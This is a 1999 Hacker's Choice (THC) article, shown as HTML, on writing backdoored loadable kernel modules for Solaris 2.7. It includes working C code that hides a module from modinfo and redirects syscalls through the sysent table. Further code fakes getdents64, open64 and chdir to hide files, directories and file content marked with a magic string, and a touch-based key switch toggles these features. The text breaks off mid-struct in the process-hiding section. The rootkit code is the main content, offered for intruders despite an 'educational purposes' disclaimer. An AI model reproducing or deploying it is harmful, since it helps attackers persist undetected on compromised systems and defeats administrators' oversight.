Article from THC explaining the techniques behind the ksolaris kernel module, and helps you to develop your own solaris kernel modules.
523a74adb51f1f49d8003ba66d604653ea04038a4bbaff3610402554557bde7d<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="GENERATOR" content="Mozilla/4.6 [en] (X11; I; SunOS 5.7 i86pc) [Netscape]">
</head>
<body text="#000000" bgcolor="#FFFFFF" link="#0000EF" vlink="#51188E" alink="#FF0000">
<br>
<center><table COLS=1 WIDTH="100%" NOSAVE >
<tr NOSAVE>
<td NOSAVE>
<center><font size=+3>Solaris Loadable Kernel Modules</font>
<br><i>"Attacking Solaris with loadable kernel modules" - </i>Version 1.0
(c) 1999
<p>Author: Plasmoid <<a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>>
/ THC
<br>Sources: <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
(flkm.c, anm.c, sitf0.1.c, sitf02.c)
<br>The Hacker's Choice Website: <a href="http://www.infowar.co.uk/thc/">http://www.infowar.co.uk/thc/</a></center>
<p><br>
<br>
<br>
<br>
<br>
<p><font size=+1>Content</font>
<ol>1 Introduction
<br>2 (Un)Loading of kernel modules
<br>3 Basic structure of kernel modules under Solaris
<ol>3.1 Standard headers and structs
<br>3.2 Hiding the module
<br>3.3 _init(), _fini() and _info() calls
<br>3.4 Compiling and linking modules
<br>---> Module: flkm.c</ol>
4 Redirecting syscalls and managing memory
<ol>4.1 Syscalls under Solaris
<br>4.2 Generating errno messages
<br>4.3 Allocating kernel memory
<br>---> Module: anm.c</ol>
5 Implementing the common backdoors
<ol>5.1 Hiding files from getdents64()
<br>5.2 Hiding directories and file content
<br>5.3 Generating a remote switch
<br>5.4 Hiding processes (proc file system approach)
<br>---> Module: sitf0.1.c
<br>5.5 Redirecting an execve() call
<br>5.6 Hiding processes (structured proc approach)
<br>---> Module: sitf0.2.c</ol>
6 Future plans
<br>7 Closing words</ol>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>1 Introduction</font>
<blockquote>Loadable kernel modules represent an important part of the
kernel architecture. They provide an interface to hardware devices and
data within the kernel memory. Most Unix systems enforce the usage of loadable
kernel modules in order to offer maximum interaction with the peripherials
and the kernel.
<br>Due to those features, kernel modules have gained the interest of intruders,
since they affect the operating system at the basic level and guarantee
an efficient and hard to detect way to manipulate the system. In the past
years loadable kernel modules including backdoors have been published for
Unix systems such as Linux and FreeBSD. This article describes the technologies
used to develop backdoored modules for the operating system Solaris 2.7
(Sparc/Intel).
<br>The modules conributed with this article have not been tested on Solaris
2.6 (Sparc), if you are interested
in testing these modules, please contact <a href="mailto:plasmoid@pimmel.com">me</a>.
<br>Eventhough most sources listed in this article haven been tested on
several computers running Solaris 2.7 (Ultra Sparc/Sparc/x86) and
Solaris 2.6 (Ultra Sparc), they might crash or even destroy
your system, therefore use all modules from the <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
tarball with care. The modules have not been tested using Sun's C Compiler,
instead we used the free Gnu C Compiler - available from <a href="http://www.sunfreeware.com/">sunfreeware.com</a>.
<br>This article and its sources are designed for educational puroses only,
I strongly advise you not to use any modules provided with this article
on systems you do not own or aren't allowed to manipulate.</blockquote>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>2 (Un)Loading of kernel modules</font>
<blockquote>Most parts of Solaris' functionality are realized using kernel
modules (e.g. ip/tcp, scsi, ufs), tools from other vendors or authors use
this mechanism too (e.g. ipf, pppd, oss), you can get a list of all loaded
and (in)active modules by using the command <tt>/usr/sbin/modinfo.</tt>
<blockquote><tt># modinfo</tt>
<br><tt> Id Loadaddr Size Info Rev Module Name</tt>
<br><tt> 4 fe8c6000 313e 1 1
specfs (filesystem for specfs)</tt>
<br><tt> 6 fe8ca414 2258 1 1
TS (time sharing sched class)</tt>
<br><tt> 7 fe8cc228 4a2 -
1 TS_DPTBL (Time sharing dispatch table)</tt>
<br><tt> 8 fe8cc27c 194 -
1 pci_autoconfig (PCI BIOS interface)</tt>
<br><tt>#</tt></blockquote>
<tt>Id</tt> is the module-id, <tt>Loadaddr </tt>is the starting text address
in hexadecimal, <tt>Size</tt> is the size of text, data, and bss in hexadecimal
bytes, <tt>Info</tt> is module specific information, <tt>Rev</tt> is the
revision of the loadable modules system, and<tt> Module Name</tt> is the
filename and description of the module.
<br>Device driver or pseudo device driver modules include an <tt>Info</tt>
number, modules which do not communicate with a device do not include this
information. These modules are declared as "misc" (<tt>&mod_miscops</tt>)
modules. Since we are developing a kernel module for an attacking approach,
we will later generate such a miscellaneous module.
<p>In order to load or unload kernel modules, you can use the two commands
<tt>/usr/sbin/modload
</tt>and<tt>
/usr/sbin/modunload. </tt>Modload's command line is the name of a module
and modunload's command line "<tt>-i ID</tt>" the <tt>Id </tt>of a loaded
module (see modinfo above.).
<blockquote><tt># modinfo -i 125</tt>
<br><tt> Id Loadaddr Size Info Rev Module Name</tt>
<br><tt>125 fe95959c 125 - 1
flkm (First Loadable Kernel Module)</tt>
<br><tt># modunload -i 125</tt></blockquote>
Solaris includes a lot of good man pages dealing with kernel modules, (un)loading,
information and even programming. You should take a look at those, but
don't get confused the example code within "man _init" compiles but does
not load. If you have access to Solaris' AnswerBook2 take a look at the
sections describing the development of device drivers.</blockquote>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>3 Basic structure of kernel modules under
Solaris</font>
<blockquote>Kernel modules under Solaris need a lot of definied variables
in order to get loaded into the system, this is a major difference to Linux
kernel modules that can easily be created by just using an <tt>init_module()
</tt>and
<tt>cleanup_module()</tt>
call. Take a look at pragmatic's articles about kernel modules for <a href="LKM_HACKING.html">Linux</a>
and <a href="bsdkern.html">FreeBSD</a>.</blockquote>
<font size=+1>3.1 Standard headers and structs</font>
<blockquote>Eventhough we don't want to develop a device driver module,
we have to include the DDI, SunDDI and the modctl headers that provide
us with structs as <tt>modlinkage</tt> and <tt>mod_ops</tt>. The first
lines of a module look like this:
<blockquote><tt>#include <sys/ddi.h></tt>
<br><tt>#include <sys/sunddi.h></tt>
<p><tt>/*</tt>
<br><tt> * This is the loadable module wrapper.</tt>
<br><tt> */</tt>
<br><tt>#include <sys/modctl.h></tt>
<p><tt>extern struct mod_ops mod_miscops;</tt>
<p><tt>/*</tt>
<br><tt> * Module linkage information for the kernel.</tt>
<br><tt> */</tt>
<br><tt>static struct modlmisc modlmisc = {</tt>
<br><tt> &mod_miscops,</tt>
<br><tt> "First Loadable Kernel Module",</tt>
<br><tt>};</tt>
<p><tt>static struct modlinkage modlinkage = {</tt>
<br><tt> MODREV_1,</tt>
<br><tt> (void *)&modlmisc,</tt>
<br><tt> NULL</tt>
<br><tt>};</tt></blockquote>
As you can see, we include some external structs into the module and define
the name of the kernel module inside the <tt>modlmisc</tt> struct. The
<tt>modlinkage</tt>
struct references <tt>modlmisc</tt> and tells the kernel that this is not
a device driver module and that no info flag is displayed by <tt>modinfo</tt>.
If you want to go into the details of these structs and maybe develop device
or pseudo device driver module, take a look at the following man pages:
modldrv(9S), modlinkage(9S) and modlstrmod(9S). If you just want to understand
the backdoored modules in this article, simply read on.</blockquote>
<font size=+1>3.2 Hiding the module</font>
<blockquote>If we change the name of the kernel module to an empty string
("") in the <tt>modlmisc</tt> struct, <tt>modinfo</tt> will not display
the module, eventhough it is loaded and its <tt>Id</tt> is reserved. This
is a useful feature for hiding the module and the module can still be unloaded
if you know its Id. Grabbing this <tt>Id</tt> is simple, if you take a
look at the modules <tt>Id</tt>s before loading the module and later after
some other modules have been loaded.
<blockquote><tt># modinfo</tt>
<br><tt> Id Loadaddr Size Info Rev Module Name</tt>
<br>[...]
<br><tt>122 fe9748e8 e08 13 1
ptem (pty hardware emulator)</tt>
<br><tt>123 fe983fd8 1c0 14 1
redirmod (redirection module)</tt>
<br><tt>124 fe9f60a4 cfc 15 1
bufmod (streams buffer mod)</tt>
<br><tt># modload flkm</tt>
<br>
<p><tt># modinfo</tt>
<br><tt> Id Loadaddr Size Info Rev Module Name</tt>
<br>[...]
<br><tt>122 fe9748e8 e08 13 1
ptem (pty hardware emulator)</tt>
<br><tt>123 fe983fd8 1c0 14 1
redirmod (redirection module)</tt>
<br><tt>124 fe9f60a4 cfc 15 1
bufmod (streams buffer mod)</tt>
<br><tt>126 fe9f8e5c 8e3c 13 1 pcfs
(filesystem for PC)</tt>
<br><tt>127 fea018d4 19e1 - 1
diaudio (Generic Audio)</tt>
<br><tt>128 fe94aed0 5e3 72 1
ksyms (kernel symbols driver)</tt>
<br> </blockquote>
</blockquote>
<blockquote>As you can see the <tt>Id 125</tt> is obviously not reserved
and we loaded our kernel module into the memory with no name string in
the <tt>modlmisc</tt> struct. If we want to unload it now, we can easily
do this by unloading the <tt>Id 125</tt>. Those unreserved <tt>Id</tt>s
can be found in a <tt>modinfo</tt> listing at different places, but due
to the fact that <tt>modunload</tt> won't return an error if you try to
unload a non existing module, nobody can detect our module by using <tt>modinfo</tt>
or <tt>modunload</tt>. The second version of this article will include
mechanisms to completely protect a module from being listed and unloaded.
This can only be done by patching the Solaris module ksyms that lists and
manages all kernel symbols. Even if this protection leaving the module's
name blank is weak, it will fit your needs, if the system administrator
is not a real system programmer.</blockquote>
<font size=+1>3.3 _init(), _fini() and _info() calls</font>
<blockquote>A kernel module under Solaris must include at least the following
three functions: <tt>_init()</tt>, <tt>_fini()</tt> and <tt>_info()</tt>.
<tt>_init()
</tt>initializes
a loadable module, it is called before any other routine in a loadable
module. Within an <tt>_init()</tt> call you need to call another function
called <tt>mod_install()</tt> that takes the <tt>modlinkage</tt> struct
as an argument. <tt>_init()</tt> returns the value returned by mod_install().
The returned value should be interpreted in order to catch errors while
loading the module.
<blockquote><tt>int _init(void)</tt>
<br><tt>{</tt>
<br><tt> int i;</tt>
<p><tt> if ((i = mod_install(&modlinkage)) != 0)</tt>
<br><tt> cmn_err(CE_NOTE,"Could
not install module\n");</tt>
<br><tt> else</tt>
<br><tt> cmn_err(CE_NOTE,"flkm:
successfully installed");</tt>
<p><tt> return i;</tt>
<br><tt>}</tt></blockquote>
The <tt>_info()</tt> function returns information about a loadable module,
within this function the call <tt>mod_info() </tt>has to be made. If we
use an empty name in the <tt>modinfo</tt> struct <tt>mod_info()</tt> will
return no information to <tt>/usr/sbin/modinfo</tt>.
<blockquote><tt>int _info(struct modinfo *modinfop)</tt>
<br><tt>{</tt>
<br><tt> return (mod_info(&modlinkage, modinfop));</tt>
<br><tt>}</tt></blockquote>
<tt>_fini()</tt> prepares a loadable module for unloading. It is called
when the system wants to unload a module. Within <tt>_fini() </tt>a call
to<tt> mod_remove()</tt> has to be placed. It is also wise to catch the
return values in order to report errors while unloading the module.
<blockquote><tt>int _fini(void)</tt>
<br><tt>{</tt>
<br><tt> int i;</tt>
<p><tt> if ((i = mod_remove(&modlinkage)) != 0)</tt>
<br><tt> cmn_err(CE_NOTE,"Could
not remove module\n");</tt>
<br><tt> else</tt>
<br><tt> cmn_err(CE_NOTE,"flkm:
successfully removed");</tt>
<p><tt> return i;</tt>
<br><tt>}</tt></blockquote>
A good documentation about these calls can be found in the following Solaris
man pages: <tt>_info(9E)</tt> and <tt>mod_install(9F)</tt>. If you are
calling <tt>cmn_err()</tt> with <tt>CE_NOTE</tt> as level from a running
module the output will be printed to your syslogd as a notice. <tt>cmn_err()</tt>
is function to output information from kernel memory, it can also be used
to set run levels if you are debugging your module.</blockquote>
<font size=+1>3.4 Compiling and linking modules</font>
<blockquote>Compiling a module is very simple, all you need to set are
some definitions that tell the included code this will be a kernel module
and not a normal executable. You should always link your module's object
file with the "-r" option otherwise the module will not load, because
the kernel module linker will not be able to link the module.
<blockquote><tt>gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c</tt>
<br><tt>ld -o flkm -r flkm.o</tt></blockquote>
The Solaris kernel does not include as many standard C function as the
Linux kernel, if you want to use some of those standard libC functions,
extract them from the libc.a archive in /lib and link them to your module
using the <tt>ar</tt> command. If you are one of those lucky guys owning
the Solaris 2.7 source and knowing where to find what you are looking for
inside the weird source of Solaris, include the original source of the
extracted objects.
<blockquote><tt>ar -x /lib/libc.a memmove.o memcpy.o strstr.o</tt>
<br><tt>ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o</tt></blockquote>
In my examples I included a switch called <tt>DEBUG</tt>, this switch will
activate a lot of debug outputs, if you are one of those nasty hackers
don't forget to undefine <tt>DEBUG</tt> in the code or configure the Makefile.
<tt>DEBUG
</tt>is
a very common definition if working with kernel modules, there are some
kernel functions that might help you debugging, e.g. <tt>ASSERT()</tt>.</blockquote>
<font size=+1>--> Module: flkm.c</font>
<blockquote>The Module flkm.c (First Loadable Kernel Module) from the package
<a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
demonstrates the techniques described in sections 3.1-3.4 and represents
an empty working module that should be easily loadable into the kernel.</blockquote>
<hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+2>4 </font><font size=+1>Redirecting syscalls
and managing memory</font>
<blockquote>Redirecting syscalls is one of the important things if you
write backdoored kernel modules, instead of developing your own functions,
you redirect the common syscalls to your fake syscalls that will do what
ever you want. If you want to get an idea of what can be done using faked
syscalls take a look at pragmatic's article at <a href="http://www.infowar.co.uk/thc/">www.infowar.co.uk/thc</a>. </blockquote>
<font size=+2>4.1 </font><font size=+1>Syscalls under Solaris</font>
<blockquote>Syscalls under Solaris are stored in an array <tt>sysent[]
</tt>each
entry is a structure that hold information about a syscall. The values
for all syscalls can be found in the file <tt>/usr/include/sys/syscall.h</tt>.
If you take a closer look at the list of syscalls, you will recognize that
there are some major differences to the Linux syscall header file. So be
careful if you try to port a Linux kernel module to Solaris.
<br>The syscalls
<tt>open()</tt>,
<tt>creat()</tt>, etc are not used for
filesystem functions, instead the following calls are used
<tt>open64()</tt>,
<tt>creat64()</tt>,
etc. Before you try to redirect a syscall under Solaris use the tool <tt>/usr/bin/truss</tt>
to trace the syscalls of the programm that uses your syscalls, e.g. <tt>ps</tt>
uses the <tt>open() </tt>call to check the files inside the proc tree while
<tt>cat</tt>
uses the <tt>open64()
</tt>to open a file from the filesystems even if
it is within the proc tree. Let's look at some example code:
<blockquote><tt>int (*oldexecve) (const char *, const char *[], const char
*[]);</tt>
<br><tt>int (*oldopen64) (const char *path, int oflag, mode_t mode);</tt>
<br><tt>int (*oldread) (int fildes, void *buf, size_t nbyte);</tt>
<br><tt>int (*oldcreat64) (const char *path, mode_t mode);</tt>
<br>[...]
<p><tt>int newcreat64(const char *path, mode_t mode) </tt>
<br><tt>{</tt>
<br>[...]
<p><tt>int _init(void)</tt>
<br><tt>{</tt>
<br><tt> int i;</tt>
<p><tt> if ((i = mod_install(&modlinkage)) != 0)</tt>
<br><tt> cmn_err(CE_NOTE,"Could
not install module\n");</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt> else</tt>
<br><tt> cmn_err(CE_NOTE,"anm:
successfully installed");</tt>
<br><tt>#endif</tt>
<p><tt> oldexecve = (void *) sysent[SYS_execve].sy_callc;</tt>
<br><tt> oldopen64 = (void *) sysent[SYS_open64].sy_callc;</tt>
<br><tt> oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;</tt>
<br><tt> oldread = (void *) sysent[SYS_read].sy_callc;</tt>
<p><tt> sysent[SYS_execve].sy_callc = (void *) newexecve;</tt>
<br><tt> sysent[SYS_open64].sy_callc = (void *) newopen64;</tt>
<br><tt> sysent[SYS_creat64].sy_callc = (void *) newcreat64;</tt>
<br><tt> sysent[SYS_read].sy_callc = (void *) newread;</tt>
<p><tt> return i;</tt>
<br><tt>}</tt></blockquote>
This is an _init() call described in 3.3, after initializing the module
we copy the pointers of the old syscalls that are stored in the member
<tt>.sy_callc
</tt>to
some pointers we defined at the top of our module. This is done exactly
as with all Linux kernel modules.
<br>After we have saved the old pointers we copy pointers of our new syscalls
(in this case: <tt>int newcreat64(const char *path,mode_t mode</tt>) to
the pointers in the <tt>sysent[] </tt>array<tt>.</tt></blockquote>
<font size=+1>4.2 Generating errno messages</font>
<blockquote>I have seen some loadable kernel modules that generate error
message a way that wont work under Solaris, the so called error numbers
listed in <tt>/usr/include/sys/errno.h</tt> should not be returned by function
using the following code:
<blockquote><tt>return -ENOENT;</tt></blockquote>
Eventhough this code will work since a negative value is returned it does
not tell Solaris what kind of error appeared, instead the following code
using the syscall <tt>set_errno()</tt> is the correct solution.
<blockquote><tt>set_errno(ENOENT);</tt>
<br><tt>return -1;</tt></blockquote>
You really should tell your operating system what is going wrong even if
you produce a fake error message. </blockquote>
<font size=+1>4.3 Allocating kernel memory</font>
<blockquote>When working inside the kernel, you cannot allocate memory
using the function <tt>alloc()</tt> or <tt>malloc()</tt> due to the fact
that the kernel memory is strictly seperated from the user memory. Solaris
provides to function for allocating and freeing kernel memory.
<blockquote><tt>name = (char *) kmem_alloc(size, KM_SLEEP);</tt></blockquote>
<tt>kmem_alloc()</tt> allocates <tt>size</tt> bytes of kernel memory and
returns a pointer to the allocated memory. The allocated memory is at least
double-word aligned, so it can hold any C data structure. No greater alignment
can be assumed. The second parameter determines whether the caller can
sleep for memory. <tt>KM_SLEEP</tt> allocations may sleep but are guaranteed
to succeed. <tt>KM_NOSLEEP</tt> allocations are guaranteed not to sleep
but may fail (return <tt>NULL</tt>) if no memory is currently
available. <tt>KM_NOSLEEP</tt> using <tt>kmem_alloc()</tt> should only be
used from interrupt context, it should not be called otherwise.
The initial contents of memory allocated using <tt>kmem_alloc()
</tt>are
random garbage.
<br>The allocated kernel memory has to be freed using the function <tt>kmem_free(size)</tt>,
while size is the size of the allocated memory. Be careful, if you are
freeing more memory as you allocated major problems will occur, since unwanted
parts of the kernel get freed.
<p>As I started coding this module I didn't care about the transfer between
user and kernel memory. On Solaris 2.7 (x86) a <tt>memcpy()</tt> successfully
solved this task and there was no need for special commands. But on Solaris
(Sparc) this lousy way of transfering data didn't work at all. For a proper
transfer use the functions<tt> copyin() </tt>and<tt> copyout()</tt> that
provide a way to transfer data from kernel memory (device module memory)
and user memory.
<br>If you want to copy null-terminated strings from userspace to kernel
memory use the command <tt>copyinstr()</tt>, that has the following
prototype
<tt>copyinstr(char *src, char *dst, size_t length, size_t size)</tt>. <tt>length</tt>
describes how many bytes to read while <tt>size</tt> is the value of actually
read bytes.
<br>A complete description of these functions can be found in the following
Solaris man pages: kmem_alloc(9F), copyin(9F) and copyout(9F). Here is
a small example:
<blockquote><tt> name = (char *) kmem_alloc(256, KM_SLEEP);</tt>
<br><tt> copyin(filename, name, 256);</tt>
<br><tt> if (!strcmp(name, (char *) oldcmd)) {</tt>
<br><tt> copyout((char *) newcmd,
(char *) filename, strlen(newcmd) + 1);</tt>
<br><tt> cmn_err(CE_NOTE,"sitf:
executing %s instead of %s", newcmd, name);</tt>
<br><tt> }</tt></blockquote>
If you don't need to allocate kernel memory, e.g. if you are just comparing
some values, you might use also the <tt>memcpy()</tt> function, but be
adviced memcpy doesnot work on Ultra Sparc. Use <tt>copyinstr()</tt> in
order to copy null terminated strings to kernel memory where you can compare
them. copyinstr(char *src, char *dst, size_t n, size_t n)</blockquote>
<font size=+1>--> Module: anm.c</font>
<blockquote>As an example I included the module anm.c (Administrator's
NightMare) from the package
<a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>,
this is not a very intelligent module - instead of backdooring the system,
this module randomly generates system errors on the following syscalls:
<tt>execve(),open64()</tt>
and <tt>read()</tt>. The period of the random errors can be set with these
three variables:
<blockquote><tt>int open_rate = 200;</tt>
<br><tt>int read_rate = 8000;</tt>
<br><tt>int exec_rate = 400;</tt></blockquote>
The values have been tested on a client station. The system behaves quite
normal, but from time to time a small error appears that won't interest
an admin. The system will just look like one of those badly configured
cheap Solaris (but actually it isn't).
<br>To activate or deactivate the errors I developed a switching mechanism,
I will explain the technique later in 5.3, first of all here is the usage
from the command line when the module is loaded.
<blockquote><tt>touch my_stupid_key</tt></blockquote>
This command enables or disables the functions of the anm.c module, if
you used the correct key that has been defined inside the module you will
get an error message instead of a touched "my_stupid_key" file. </blockquote>
<hr SIZE=1 NOSHADE WIDTH="100%">
<br>
<p><font size=+1>5 Implementing the common backdoors</font>
<blockquote>Most ideas of the backdoors I implemented have been taken from
plaguez's itf.c module and the article written by pragmatic (see 7 References),
some of them could be implemented as they are, other routines had to be
rewritten and some had to be coded from scratch.
<br>If you take a look at the modules sitf0.1.c and sitf0.2.c from the
package <a href="slkm-1.0.tar.gz">slkm-1.0.tar.gz</a>
you will find backdoors that are not described in this article, these function
could be ported without any problem from Linux or FreeBSD modules. I think
they have been documented in several other articles already.</blockquote>
<font size=+1>5.1 Hiding files from getdents64()</font>
<blockquote>If you trace through commands as <tt>ls</tt> or <tt>du</tt>
you will find out that Solaris systems use the <tt>getdents64()</tt> syscall
to retrieve information about the content of a directory therefore I took
a closer look at plaguez's implementation of a faked <tt>getdents() </tt>syscall
hiding files from being listed.
<br>While playing with his code I discovered that getting the entries from
<tt>getdents64()</tt>
is easier as on Linux, it is not necessary to care about user- and kernelsparce
(well, I know this isn't a proper approach, but who cares), I simply modified
his code to work with <tt>getdents64()</tt> and the <tt>dirent64</tt> entries
used <tt>copyin()</tt> and <tt>copyout()</tt> (see 4.3 Allocation kernel
memory). The
<tt>getdents64()</tt> syscall and its structs are documented
inside the Solaris man pages, take a look at the following pages: getdent(2),
dirent(4), but keep in mind that you have to use the 64bit variants, just
read the header file
<tt>/usr/include/sys/dirent.h</tt> and you will find
what you are looking for. A final version of a faked <tt>getdents64() </tt>syscall
looks like that:
<blockquote><tt>#define MAGIC "CHT.THC"</tt>
<br><tt>char magic[] = MAGIC;</tt>
<p>[...]
<p><tt>int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)</tt>
<br><tt>{</tt>
<br><tt> int ret, oldret, i, reclen;</tt>
<br><tt> struct dirent64 *buf2, *buf3; </tt>
<p><tt> oldret = (*oldgetdents64) (fildes, buf, nbyte);</tt>
<br><tt> ret = oldret;</tt>
<p><tt> if (ret > 0) { </tt>
<br><tt> buf2 = (struct dirent64
*) kmem_alloc(ret, KM_SLEEP);</tt>
<br><tt> copyin((char *) buf,
(char *) buf2, ret);</tt>
<br><tt> buf3 = buf2; </tt>
<p><tt> i = ret;</tt>
<br><tt> while (i > 0) {</tt>
<br><tt>
reclen = buf3->d_reclen;</tt>
<br><tt>
i -= reclen;</tt>
<p><tt>
if (strstr((char *) &(buf3->d_name), (char *) &magic) != NULL)
{</tt>
<br><tt>#ifdef DEBUG </tt>
<br><tt>
cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);</tt>
<br><tt>#endif</tt>
<br><tt>
if (i != 0)</tt>
<br><tt>
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
<br><tt>
else</tt>
<br><tt>
buf3->d_off = 1024;</tt>
<br><tt>
ret -= reclen;</tt>
<br><tt>
} </tt>
<br><tt>
/* </tt>
<br><tt>
* most people implement this little check into their modules,</tt>
<br><tt>
* don't ask me, if some of the solaris fs driver modules really</tt>
<br><tt>
* generate a d_reclen=0.</tt>
<br><tt>
* correction: this code is needed for solaris sparc at least,</tt>
<br><tt>
* otherwise you`ll find yourself back in a world of crashes.</tt>
<br><tt>
*/</tt>
<br><tt>
if (buf3->d_reclen < 1) {</tt>
<br><tt>
ret -= i;</tt>
<br><tt>
i = 0;</tt>
<br><tt>
} </tt>
<br><tt>
if (i != 0)</tt>
<br><tt>
buf3 = (struct dirent64 *) ((char *) buf3 + buf3->d_reclen);</tt>
<br><tt> }</tt>
<br><tt> copyout((char *) buf2,
(char *) buf, ret);</tt>
<br><tt> kmem_free(buf2, oldret);</tt>
<br><tt> }</tt>
<br><tt> return ret;</tt>
<br><tt>}</tt></blockquote>
Understanding this code is not that easy, since it works with the weird
dirent structure, but the <tt>dirent</tt> struct is also present in Linux
and can be understand reading the man pages and the specific headers, I
won't go into more details.
<br>There is still a minor problem with this piece of code, when you include
the magic string more than once in to your filename the module won't act
correctly, it looks like the <tt>strstr()</tt> function causes problems
while running inside the kernel. I plan to fix this bug in version 2.0
of the article / module, until then include the magic string only once
in your filenames.</blockquote>
<font size=+1>5.2 Hiding directories and file content</font>
<blockquote>This idea has been taken from pragamatic's Linux kernel module
article. If files are hidden from being listed as described above they still
can be accessed by everybody and directories can be entered by everybody
too. I used a switch (see 5.3 Generating a remote switch) to toggle these
features On and Off. So if I don't want anybody to access the content of
my hidden files or anybody to enter my hidden directories, I would turn
the switch On.
<br>The syscall open64() is used to open files for reading and writing
under Solaris (not inside the /proc), if the filename of the file to be
opened contains the magic word and the security flag is set, the faked
syscall will return the error message: "No such file or directory".
<blockquote><tt>#define MAGIC "CHT.THC" </tt>
<br><tt>char magic[] = MAGIC;</tt>
<br><tt>int security = FALSE;</tt>
<p>[...]
<p><tt>int newopen64(const char *path, int oflag, mode_t mode)</tt>
<br><tt>{</tt>
<br><tt> int ret;</tt>
<br><tt> int len;</tt>
<br><tt> char namebuf[1028];</tt><tt></tt>
<p><tt> ret = oldopen64(path, oflag, mode);</tt><tt></tt>
<p><tt> if (ret >= 0) {</tt>
<br><tt> copyinstr(path, namebuf,
1028, (size_t *) & len);</tt><tt></tt>
<p><tt> if (security &&
strstr(namebuf, (char *) &magic) != NULL) {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt>
cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);</tt>
<br><tt>#endif</tt>
<br><tt>
set_errno(ENOENT);</tt>
<br><tt>
return -1;</tt>
<br><tt> }</tt>
<br><tt> return ret;</tt>
<br><tt> }</tt>
<br><tt>}</tt>
<br><tt></tt> </blockquote>
The syscall chdir() is used to change the current directory, if someone
tries to enter a directory containing the magic string and the security
flag is set, the faked syscall will return the error message: "No such
file or directory".
<blockquote><tt>int newchdir(const char *path)</tt>
<br><tt>{</tt>
<br><tt> char namebuf[1028];</tt>
<br><tt> int len;</tt><tt></tt>
<p><tt> copyinstr(path, namebuf, 1028, (size_t *) &
len);</tt><tt></tt>
<p><tt> if (security && strstr(namebuf, (char
*) &magic) != NULL) {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt> cmn_err(CE_NOTE, "sitf:
hiding directory (%s)", namebuf);</tt>
<br><tt>#endif</tt>
<br><tt> set_errno(ENOENT);</tt>
<br><tt> return -1;</tt>
<br><tt> } else</tt>
<br><tt> return oldchdir(path);</tt>
<br><tt>}</tt>
<br><tt></tt> </blockquote>
These two functions combined with the faked <tt>getdents64()</tt>
call protect all files and directories you want to hide including their
content. But how can you easily switch between the total security and a
work-environment where files are hidden but you can access and manipulate
them, e.g. configuration files, read on.</blockquote>
<font size=+1>5.3 Generating a remote switch</font>
<blockquote>While investigating some of the most used command line programs,
I stumbeld over <tt>/usr/bin/touch</tt>, touch uses the syscall <tt>creat64()</tt>.
I found this to be a good place to include a remote switch, for toggling
features of a module On or Off, e.g. the security flag above in 5.2. Of
cause this is not a real secure switch because an administrator could monitor
you activities and will discover you suspicious touch calls.
<br>First of all we need to define a key that will help us being the only
person toggling our switch.
<blockquote><tt>#define KEY "mykey"</tt>
<br><tt>char key[] = KEY;</tt>
<p>[...]
<p><tt>int newcreat64(const char *path, mode_t mode)</tt>
<br><tt>{</tt>
<br><tt> char namebuf[1028];</tt>
<br><tt> int len;</tt><tt></tt>
<p><tt> copyinstr(path, namebuf, 1028, (size_t *) &
len);</tt><tt></tt>
<p><tt> if (strstr(namebuf, (char *) &key) != NULL)
{</tt>
<br><tt> if (security) {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt>
cmn_err(CE_NOTE, "sitf: disabeling security");</tt>
<br><tt>#endif</tt>
<br><tt>
security = FALSE;</tt>
<br><tt> } else {</tt>
<br><tt>#ifdef DEBUG</tt>
<br><tt>
cmn_err(CE_NOTE, "sitf: enabeling security");</tt>
<br><tt>#endif</tt>
<br><tt>
security = TRUE;</tt>
<br><tt> }</tt>
<br><tt> set_errno(ENFILE);</tt>
<br><tt> return -1;</tt>
<br><tt> } else</tt>
<br><tt> return oldcreat64(path,
mode);</tt>
<br><tt>}</tt></blockquote>
When the touch command is used the syscall <tt>creat64()</tt> will be called.
Our faked syscall will check if the filename includes our key and then
en- or disable the security flag. In order to tell us if this suceed it
will return the error (<tt>ENFILE, </tt>The system file table is full).
I hope this is a rather seldom error message.</blockquote>
<font size=+1>5.4 Hiding processes (proc file system approach)</font>
<blockquote>Before I concentrated on the structured proc of Solaris, I
developed a basic way to hide files from being listed. This code should
only function as an example because it may consume a lot cpu power.
<br>When a user executes <tt>ps</tt> or <tt>top</tt> these tools will read
parts of the proc file systems and return their content. The file that
halts information about the process caller and the executed file is <tt>psinfo</tt>
found inf <tt>/proc/<pid>/psinfo</tt>. The content of this file is described
in <tt>/usr/include/sys/procfs.h</tt>.
<blockquote><tt>typedef struct psinfo {</tt>
<br><tt> int
pr_flag; /* process flags */</tt>
<br><tt> int
pr_nlwp; /* number of lwps in
process */</tt>
<br><tt> pid_t pr_pid;
/* unique process id */</tt>
<br><tt> pid_t pr_ppid;
/* process id of parent */</tt>
<br><tt> pid_t pr_pgid;
/* pid of process group leader */</tt>
<br><tt> pid_t pr_sid;
/* session id */</tt>
<br><tt> uid_t pr_uid;
/* real user id */</tt>
<p> [...]
<p><tt> char
pr_psargs[PRARGSZ]; /* initial characters of arg
list */</tt>
<br><tt> int
pr_wstat; /* if zombie, the wait()
status */</tt>
<br><tt> int
pr_argc; /* initial argument
count */</tt>
<br><tt> uintptr_t pr_argv;
/* address of initial argument vector */</tt>
<br><tt> uintptr_t pr_envp;
